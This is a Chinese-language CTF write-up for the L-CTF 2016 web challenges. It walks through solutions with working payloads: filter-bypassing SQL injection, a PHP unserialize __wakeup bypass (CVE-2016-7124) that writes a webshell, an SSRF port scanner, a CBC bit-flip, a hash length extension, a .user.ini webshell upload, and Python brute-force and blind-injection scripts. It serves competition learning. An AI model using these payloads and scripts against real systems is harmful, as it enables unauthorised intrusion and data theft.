zl程序教程

您现在的位置是:首页 >  其它

当前栏目

L-ctf2016 Writeup

Writeup
2023-06-13 09:17:08 时间

在大家都为祖国母亲庆生的时候,天天都有人问我:你干嘛呢?出来玩呀….我表示(╯‵□′)╯︵┻━┻,稍微有点儿遗憾的是又刚好错过了小礼物的边缘线,做了2道高分web题还挺开心的o(^▽^)┛,不过xd的服务器也是蛮厉害…题题都要爆破还没怎么崩过…强无敌…

WEB

web1 Can you get the flag

稍微研究下,发现是注入

Password :' oorr (seleselectct/**/ sleep(100))#

显错注入

payload: '/**/anandd/**/updaupdatexmltexml(0,concat(0x27,(seleselectct/**/version())),0)%23

注入得到了账号和密码

admin
we1c0me%_#2&_@LCTF

登陆上去发现并没有结束,但是发现如果flag为负的,那么会提示password wrong,那么就跑吧

Python跑
import requests
flag=0
for pwd in xrange(0,9999):
    a=str(pwd)
    b=a.zfill(4)
    r=requests.post(
   			 'http://web.l-ctf.com:6699/ret.php',
   			 data={'selectNum': '-1', 'passwd': b , 'submit': 'Buy+It' },
   			 )
    response = unicode(r.content, 'utf-8')
    if 'password wrong' not in response:
   	 flag=1
   	 print 'password is',b,response
   	 break
    elif(flag==0):
   	 print 'trying',b
    else:
   	 break

得到密码 5487

flag is here: LCTF{Th1nks_@f0r_#your_%supp0rt}

我控几不主我及几啦

说实话,开始翻了翻感觉waf太绝了….什么都有过滤,简直没法注,看到那么多人都做出来了,目测是sqlmap,跑一跑还真的注到了

Database: xdctfweb150
Table: articles
[4 columns]
+---------+-------------+
| Column  | Type    	|
+---------+-------------+
| auther   | varchar(20) |
| content | text    	|
| id  	   | int(2)  	|
| title        | varchar(50) |
+---------+-------------+

Database: xdctfweb150
Table: where
[1 column]
+--------+-------------+
| Column | Type    	|
+--------+-------------+
| secret | varchar(80) |
+--------+-------------+
Database: xdctfweb150
Table: where
[1 entry]
+--------------------------------+
| secret                     	|
+--------------------------------+
| LCTF{H0w_D0_You_Bypass_My_w4f} |
+--------------------------------+

不知道做出来的那么多人有多少是知道怎么回事的。

事实上,那个被waf拦截的返回是在查询之后的,所以即便他waf拦截了返回,我们仍然可以用时间盲注来跑数据,sqlmap跑一会儿就出来了

payload:

http://web.l-ctf.com:6699/LCTF150/?id=3%20AND%202362%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28table_name%20AS%20CHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%3D0x7864637466776562313530%20LIMIT%200%2C1%29%2C3%2C1%29%29%3E54%29%2CSLEEP%283%29%2C2362%29

睡过了

开始一直没搞明白为啥是这样,怎么改都没用,后来队友有了思路,题目是CVE-2016-7124改的,前两天还挺有名的一个洞,因为360的文章是曲解,所以我影响还挺深的。

具体分析贴个队友的博客吧 http://lazysheep.cc/2016/09/13/0x22/

实话说不知道怎么解释,贴上getshell后拿到的源码吧

index.php

<h1>这是一个后门(不过好像不能直接用啊......</h1>
<hr />
<form action="" method='POST'>
Filename:<input type='text' name='filename' /><br/>
Filedata:<input type='text' name='filedata' /><br/>
<input type="submit" name='submit' />
</form>

<?php
class key{}
if($_POST['filename'] && $_POST['filedata']){
	$key=new key();
	$key->filename=$_POST['filename'];
	$key->filedata=$_POST['filedata'];	
	$s=serialize($key);

	echo "<meta http-equiv='refresh' content='0.1;url=upload.php?key=".$s."'>";
}
?>

这里就是一个简单的序列化过程

<?php
class key{
	var $filename;
	var $filedata;

	function __wakeup(){
		echo "Waking up.........<br/>";
		foreach(get_object_vars($this) as $key=>$value){
			$this->$key = null;
			echo $key." => ".$this->$key;
			echo "<br />";
		}
		echo "Finished<br/>";
		echo "<br/>";
	}

	function __destruct(){
		//Do something
		$this->my_file_put_contents($this->filename,$this->filedata);

	}
	function my_file_put_contents($file_path,$data){
		if($file_path && $data){
			$rs=file_put_contents('./upload/'.md5($this->filename).'.php',$this->filedata);
			echo $rs." written";
		}
	}
}
$key=$_GET['key'];
preg_match('/O:\d+:/',$key,$match);

if($match){
	exit("据说这种key加也行<br/>");
}
$Obj=unserialize($key);

?>

payload:

http://web.l-ctf.com:10197/ctf/upload.php?key=O:%2b3:"key":3:{S:8:"filename";s:2:"ss";s:8:"filedata";s:19:"aaasdfasdfasdfasaaa";}

wakeup方法被跳过了,那么写webshell进去

但是进去我们又遇到了问题,web目录下我们没找到flag,怎么办呢

绕opendir的限制!!

321=$f=[];$d=new DirectoryIterator("glob:///var/www/flag/*");var_dump($d);

苏打学姐的网站

苏打学姐很文艺, 搞了一个图片小站,但是智商经常不上线。不知是为了方便咋的、经常留一些奇怪的东西下来,来吧,砸了他这个图片站的场子!! http://web.l-ctf.com:14144/

因为题不是我做的,所以我就按照队友文档中的思路来写了

首先我们发现

http://web.l-ctf.com:14144/img.php?id=file/5253d1eb29230.jpg 应该是路径解析问题,存在http://web.l-ctf.com:14144/file/tips.txt

但是怎么都读不到,后来发现虽然不知道后台怎么做的处理,但是可以双管道得到文件内容,我猜有可能是后台坐了前缀检查,payload

http://shimakaze.labs/lctf/parse.php?id=php://resource=file/5253d1eb29230.jpg/resource=file/tips.txt

读了tips.txt,得到

admin.php.txt

Admin.php.txt

<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);

$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";

if ($num1 == 1  && $num2 == 2016){
	die ("shen mi li wu !");
}
else{
	echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>%

img.php

<?php
if(isset($_GET["id"]) &&  (strpos($_GET["id"],'jpg') !== false))
{
    preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($_GET["id"],'\n'), $match);

    if (isset($match[1]))
        $_GET["id"] = $match[1];
 
    if (file_exists("./" . $_GET["id"]) == false)
        die("File Not Found");

    header('Content-Type: image/jpg');
    header('Content-Length: '.filesize($_GET["id"]));
    header('Content-Disposition: filename='.$_GET["id"]);
	
	
 
	if (strlen($_GET["id"])>32){
		die ("Too Long!!!!!");
	}
	else{
		$data = file_get_contents($_GET["id"]);
		echo $data;
	}	
}
else
{
	echo "File Not Found";
}
?>

懂的人看一眼就能明白,cbc字节反转攻击,原理就不多说了,之前三个白帽遇到过,hctf2015也曾经出过

核心在这里


$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);

只要构造后16位中的13bytes为uid=1num=2016 就可以成功通过判断

跑一跑就好了,然后到了文件上传

上传一个.user.ini

上传一个同名文件

get shell

http://web.l-ctf.com:14144/upload_12b1d89eb3a43eb6220b5952a5a13785/upload/index.php?a=assert

Post: fuckddog=phpinfo();

Headpic

这题基本做了我一个下午一个晚上…最气的是这题的第一第二步完全分离,所以我们做了第二步后,在flag前面等了好久,一直到tips放了才反应过来是做错了顺序…只可惜本来是能拿一血,最后堪堪拿下3血┑( ̄Д  ̄)┍…

二次注入

看到这个提示的时候我一直是蒙蔽的,因为在我的观点里,题目应该是ssrf…

仔细分析题目逻辑:

注册(insert)->登陆(select)->登陆后给一个头像地址(存在?select?还是注册就默认插入了)->修改头像(update)

知道做出来我都不能肯定是不是存在第三部分,但是测试发现第四步确实存在,而且update时的where条件是username = $user,这里存在二次注入。

那么问题来了…这里的判断条件必须请求修改后的头像内容,来判断盲注请求是否成功,也就是说,每次注入我们都必须请求4次,还是盲注,当然这里还有个问题就是验证码的问题

  • 绕过验证码

这里还是蓝猫师傅抬了我一手,当时我正在研究绕过验证码的,蓝猫师傅告诉我,如果你不带session去登陆注册的话,验证码的判定就没用了。

这里也很好理解,一般写代码的人只考滤正常人的请求方式,

代码一般长这样

if(!isset($_SESSION)){
	设置session,
	然后跳回
}

这样不带着session去登陆注册就可以了。

下面就是编写脚本时间了,由于和平时的盲注不一样,我自己写的工具用不上,所以没办法,我只能自己又写了一个脚本,这样没有二分法,所以每次个字母都要100次请求,所以全程注入都在只能改脚本,跳过各种单词,还算友好的是并没有修改一些单词,还可以

import requests
from bs4 import BeautifulSoup
import base64
import Queue
import threading

def code(s):
	url = "http://web.l-ctf.com:55533/verify.php"
	cookies = {"PHPSESSID": "ljf888c57d6pd9qrcltgrsadd2"}

	code = s.get(url, cookies=cookies)
	with open("code.png", "wb") as ff:
		ff.write(code.content)

	img = Image.open("code.png")
	code_string = pytesseract.image_to_string(img)

	print code_string

def register(payload):

	url1 = "http://web.l-ctf.com:55533/check.php"

	data = {"user": payload, "pass": "dsa", "typer": "0", "register": "%E6%B3%A8%E5%86%8C"}

	r = requests.post(url1,data = data)


def login(payload):

	s = requests.Session()
	url1 = "http://web.l-ctf.com:55533/check.php"
	url2 = "http://web.l-ctf.com:55533/save.php"
	url3 = "http://web.l-ctf.com:55533/ucenter.php"

	data = {"user": payload, "pass": "dsa", "typer": "0", "login": "%E7%99%BB%E9%99%86"}
	r = s.post(url1, data = data)
	Session = r.headers['Set-Cookie']

	data2 = {"headpic":"http://web.l-ctf.com:55533@115.28.78.16/ddog.php"}
	r = s.post(url2, data = data2, cookies={"PHPSESSID": Session[10:-8]})

	r = s.get(url3, cookies={"PHPSESSID": Session[10:-8]})

	bs0bj = BeautifulSoup(r.text, "lxml")
	content = base64.b64decode(bs0bj.img['src'][23:])

	if len(content) > 0:
		return True
	else:
		return False


def test(payload):

	payload = payload.replace(" ", "/**/")
	print payload
	register(payload)
	if login(payload):
		return False
	else:
		return True

def ppayload():
	# for i in xrange(30):
	# 	payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.SCHEMATA limit 0,1)>" + str(i) + ")#"

	# 	if test(payload):
	# 		database_number = i
	# 	 	break
		
	# print "database_number:" + str(database_number)


	database_number = 2
	# for i in range(1,2):
	# 	for j in xrange(50):
	# 		payload = "nishigeshenmegui' or ((SELECT length(SCHEMA_NAME) from information_schema.SCHEMATA limit " + str(i) + ",1)>" + str(j) + ")#"

	# 		if test(payload):
	# 			database_length = j
	# 		 	break

	# 	print "[*]dababase_length: "+ str(database_length)

	# 	database = ""
	# 	for j in xrange(database_length):
	# 		for r in xrange(7):
	# 			pass
	# 		for k in range(30,130):
	# 			payload = "nishigeshenmegui' or ((select ascii(mid((SELECT SCHEMA_NAME from information_schema.SCHEMATA limit " + str(i) + ",1),"+ str(j) +",1)))>" + str(k) + ")#"

	# 			if test(payload):
	# 				database += chr(k)
	# 			 	break

	# 	print "[*]database:"+database


	# for i in xrange(30):
	# 	payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.TABLES where TABLE_SCHEMA = 'web_200' limit 0,1)>" + str(i) + ")#"

	# 	if test(payload):
	# 		table_number = i
	# 	 	break
		
	# print "table_number:" + str(table_number)
	# table_number = 2

	# for i in range(0,table_number):
	# 	# for j in xrange(50):

		# 	payload = "nishigeshenmegui' or ((SELECT length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'web_200'  limit " + str(i) + ",1)>" + str(j) + ")#"

		# 	if test(payload):
		# 		table_length = j
		# 	 	break

		# print "[*]table_length: "+ str(table_length)

		# table_length = 14
		# table = ""
		# for j in range(11,table_length):
		# 	for k in range(50,130):
		# 		payload = "nishigeshenmegui' or ((select ascii(mid((SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'web_200'  limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"

		# 		if test(payload):
		# 			table += chr(k)
		# 			print table
		# 		 	break

	# 	# print "[*]table:" + table
	# for i in xrange(30):
	# 	payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200' && TABLE_NAME = 'flag_admin_233' limit 0,1)>" + str(i) + ")#"

	# 	if test(payload):
	# 		conlum_number = i
	# 	 	break

	# conlum_number = 3
	# print "conlum_number:" + str(conlum_number)

	# for i in range(2,conlum_number):
	# 	for j in xrange(50):
	# 		if i == 2:
	# 			conlum_length = 4
	# 			break

	# 		payload = "nishigeshenmegui' or ((SELECT length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200'  limit " + str(i) + ",1)>" + str(j) + ")#"

	# 		if test(payload):
	# 			conlum_length = j
	# 		 	break

	# 	print "[*]conlum_length: "+ str(conlum_length)


	# 	column = ""
	# 	for j in range(conlum_length):

	# 		for k in range(90,130):
	# 			payload = "nishigeshenmegui' or ((select ascii(mid((SELECT COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200'  limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"

	# 			if test(payload):
	# 				column += chr(k)
	# 				print column
	# 			 	break

	# 	print "[*]column:" + column

	# for i in xrange(30):
	# 	payload = "nishigeshenmegui' or ((SELECT COUNT(*) from flag_admin_233 limit 0,1)>" + str(i) + ")#"

	# 	if test(payload):
	# 		content_number = i
	# 	 	break

	# print "content_number:" + str(content_number)

	content_number = 1

	number =  [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]

	for i in range(0,content_number):
		# for j in xrange(50):

		# 	payload = "nishigeshenmegui' or ((SELECT length(pass) from flag_admin_233 limit " + str(i) + ",1)>" + str(j) + ")#"

		# 	if test(payload):
		# 		content_length = j
		# 	 	break

		content_length =32

		print "[*]content_length: "+ str(content_length)


		content = ""
		for j in range(content_length):

			for k in number:
				payload = "nishigeshenmegui' or ((select ascii(mid((SELECT pass from flag_admin_233  limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"

				if test(payload):
					content += chr(k)
					print content
				 	break

		print "[*]content:" + content

def main():
	s = requests.Session()

	# code(s)
	ppayload()



if __name__ == '__main__':
	main()

注入得到

数据库名web_200
表数量2个
table
flag_admin_233
User

Flag_admin_233
Id, admin, pass


admin******

Admin,1admin2016

ssrf

得到用户名和密码后,发现admin.php并不能登陆上去,再robots.txt我们得到了提示

NEQGM33SM5SXIIDUN4QGIZLMMV2GKIDNPEQHAZLSONXW4YLMEBTGS3DFFR2GQYLUOMQHI33PEBRGCZBMNEQGI33OE52CA53BNZ2CA6LPOUQHI3ZAM5SXIIDTMVRXEZLUL5XGK527NZXXI2LDMUXHA2DQ

解base32得到

"i forget to delete my personal file,thats too bad,i don't want you to get secret_new_notice.php"

直接访问发现提示不是本地访问,那么就是ssrf。

测试修改发现有前缀检查

头像必须是http://web.l-ctf.com:55533开头的,但是我们可以用@来绕过

当时第一反应是扫内网端口,如果内网有redis什么的,可以getshell

附上扫内网端口脚本

import requests
from bs4 import BeautifulSoup
import base64

urll = "http://web.l-ctf.com:55533@127.0.0.1:"
url1 = "http://web.l-ctf.com:55533/save.php"
url2 = "http://web.l-ctf.com:55533/ucenter.php"

cookie = {"PHPSESSID": "ljf888c57d6pd9qrcltgrsadd2"}
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Connection": "keep-alive"}

s = requests.Session()

# for i in range(22,65535):
data = {"headpic": urll + str("80")}

r = s.post(url1, data = data, cookies=cookie)

r = s.get(url2, headers=header, cookies=cookie)

bs0bj = BeautifulSoup(r.text, "lxml")

try:
	content = base64.b64decode(bs0bj.img['src'][23:])
	
	print content

except:
	s = 1

得到提示

i found that my account is too weak,so i make a trick,add something at the end of username<pre>$user=='admin******'?</pre>

实话说这里是先做到的,所以当时第一反应是要跑这个admin,于是跑了好久跑完都没跑到,直接传数组get flag

o(^▽^)┛

你一定不能来这

上来啥都找不到,没办法扫目录,事实证明,这题确实是扫目录,扫啊,扫啊得到

http://web.l-ctf.com:33333/crossdomain.xml

得到

http://xdctfweb.xd-a8.com/

得到download.php

<?php

require("common.php");


function varify_hash($filename,$hash,$secret){
  
if(strpos($filename,"www.rar")>-1){
	if($hash === md5($secret.$filename)){
		
		download("www.rar");

	}
	else
		exit("mac不对,你根本不是xdsec的人。") ;
}

elseif(strpos($filename,"download.php")>-1){
	if($hash === md5($secret.$filename)){
	
		download("download.php");
	}
	else
		exit("mac不对,你根本不是xdsec的人。");

}
else 
	exit("没有你要下载的文件。");
}


$filename = urldecode($_GET['filename']);
$hash = $_GET['mac'];

if(!empty($filename) && !empty($hash)){

varify_hash($filename,$hash,$secret);
}
else
	exit("参数为空");





?>

司机告诉我这是hash长度拓展攻击,找到一个工具 http://www.cnblogs.com/pcat/p/5478509.html

由于不知道密钥长度,直接写脚本跑

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import hashpumpy
import urllib
import requests


url = "http://xdctfweb.xd-a8.com/download.php?filename=%s&mac=%s"

for x in xrange(52):
	h, f = hashpumpy.hashpump("f30a38d3cdcb25cf067468c2f108e1f5", "download.php", "www.rar", x)	
	r = requests.get(url%(urllib.quote(f), h))
	print x
	print r.content

得到

Payload: http://xdctfweb.xd-a8.com/download.php?filename=download.php%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F0%00%00%00%00%00%00%00www.rar&mac=1f35a8fa0b3eedd9d25b5fe910ade0e7

下载www.rar发现有密码,这步让我感觉非常傻逼...强行加misc,就和后面的web强加pwn一样,没啥意义,安misc的逻辑,strings一下发现了不寻常的东西

Strings www.rar

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+$._$+(![]+"")[$._$_]+$.$$$_+"."+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$__+$.$$$+"(\\\"\\"+$.__$+$._$$+$.__$+$._$+"\\"+$.__$+$._$_+$.$_$+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$__+$.$$$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$.$__+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$._$$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.__$+$.$$_+$.__+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$._$$+$.__+$.$$$_+$.$$_$+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$.$__+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+$.$$$$+"\\"+$.$__+$.___+"\\"+$.__$+$._$$+$.__$+$._$+$._+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+$.$$_$+$.$$$_+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.__$+$.$$$+$.$$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+$.__+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.___+$.$_$+".\\\"\\"+$.$__+$.___+")"+"\"")())();

js的jjencode 得到

YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE.

培根密码,应该是以前的xdctf出的,总之非常眼熟

XXDDCCTTFF

得到源码后发现非常简单,但是设置非常傻逼…

先看源码



<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>管理员密码重置</title>
</head>

<center><h1>管理员密码重置</h1></center></br></br></br>
<form action="" method="POST">
<center>
<label for="email">管理员邮箱:</label>
<input type="textbox" name="email" /></br></br></br>
<input type="submit" name="submit" value="提交" />
</center>
</form>


<?php
 require('sql.php');
 require('function.php');
 if(!empty($_POST['email'])){
  $email = $_POST['email'];
  


  if($email === "omego952734@xdsec.club"){

    $Time_check = verifyTime();
    //检查有没有超过30分钟
    
    if($Time_check){

    	$date = time();
      $rand=(string)rand(1,10000); 
    	$token = md5($date.$rand);
    	$updateDate = "UPDATE `XDctf_web_350`.`user` SET `date` =".$date." WHERE `user`.`id` = 0;";
    	$query = mysql_query($updateDate);
    	$updateToken = "UPDATE `XDctf_web_350`.`user` SET `token` =".'\''.$token.'\''." WHERE `user`.`id` = 0;";
    	$query = mysql_query($updateToken);
    	echo "<script>alert('重置密码链接已经发送。有效期为30分钟。');</script>";
    }
    else 
    	echo "<script>alert('链接还没过有效期,请登录邮箱查看。');</script>";
  }
 else 
 	echo "<script>alert('管理员的邮箱根本不是这个。');</script>";



 }


?>

checktoken.php

<?php
require('sql.php');
require('secret.php');

if(!empty($_GET['email']) && !empty($_GET['id'])  && !empty($_GET['token']))  
{


	$email = $result->email;
	$id = $result->id;
	$token = $result->token;

	if($id === '0'){
		if($_GET['email']===$email){
				if($_GET['token']===$token)
					echo $flag;
				else
					echo "token不对。";
				}
		                  else 
					echo "邮箱不对。";
	}
	else 
		echo "你想重置一个非创始人的密码,可这又有什么用呢?";


}
else 
	echo "参数不完整。";

?>

这里有个很傻逼的设置,一个round30分钟,只有一个能获得重置邮件的时间戳,即便是response的时间,也会有上下的+-几的时间差,导致一个round往往要跑40000、50000,而当时我5个round拿到3个,最后改脚本到多线程,20分钟跑了40000都没得到,后来无奈私聊出题人,将一个round改为10分钟,然后1000次请求,最后跑了6000才跑到,也就是理论上10000我是跑不到的….贴上脚步

import requests
import hashlib 
import Queue
import threading
import time


url = "http://web.l-ctf.com:33333/checktoken.php?id=0x00&email=omego952734@xdsec.club&token="
data = 1475406987

words = Queue.Queue()

for j in range(data-1,data+1):

	for i in range(1,1000):
		
		m = hashlib.md5()
		m.update(str(j)+str(i))
		token = m.hexdigest()
		urll = url+token

		words.put(urll)


print "word suceess"

def brufer(words):
	z = 1

	while not words.empty():
		z+=1

		if z == 1000:
			print "1000 pass"
			z = 0


		url = words.get()

		s = requests.Session()

		try:
			r = s.post(url, timeout=4)
		except:
			print "[!]error:" + url
			words.put(url)
			continue

		if "token" not in r.text:
			print "[*]Done" + url
 			print r.text
			exit(0)

		#print "[!]pass: " + url
		time.sleep(1)

	print "something error..."
	exit(0)


for i  in range(0,59):
	t = threading.Thread(target = brufer, args=(words,))
	t.start()

无话可说

misc

有点儿写不动了,有空再写吧…